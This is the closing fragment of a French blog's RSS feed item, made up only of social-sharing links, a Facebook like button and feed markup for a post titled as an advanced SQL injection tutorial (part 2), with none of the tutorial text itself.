	<a rel="nofollow"  target="_blank" href="http://www.blogospherenews.com/submit.php?url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html&amp;title=%5BTutoriel%5D%20-%20SQL%20Injection%20Avanc%C3%A9e%20%28Partie%202%29" title="Blogosphere News"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogospherenews.png" title="Blogosphere News" alt="Blogosphere News" class="sociable-hovers" /></a>
	<a rel="nofollow"  target="_blank" href="http://cimlap.blogter.hu/index.php?action=suggest_link&amp;title=%5BTutoriel%5D%20-%20SQL%20Injection%20Avanc%C3%A9e%20%28Partie%202%29&amp;url=http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html" title="blogtercimlap"><img src="http://www.mcherifi.org/wp-content/plugins/sociable/images/blogter.png" title="blogtercimlap" alt="blogtercimlap" class="sociable-hovers" /></a>


<br/><br/>
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fwww.mcherifi.org%2Fhacking%2Fse-proteger-contre-sql-injection-partie-2.html" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://www.mcherifi.org/hacking/se-proteger-contre-sql-injection-partie-2.html/feed</wfw:commentRss>
		<slash:comments>14</slash:comments>
		</item>
	</channel>
</rss>

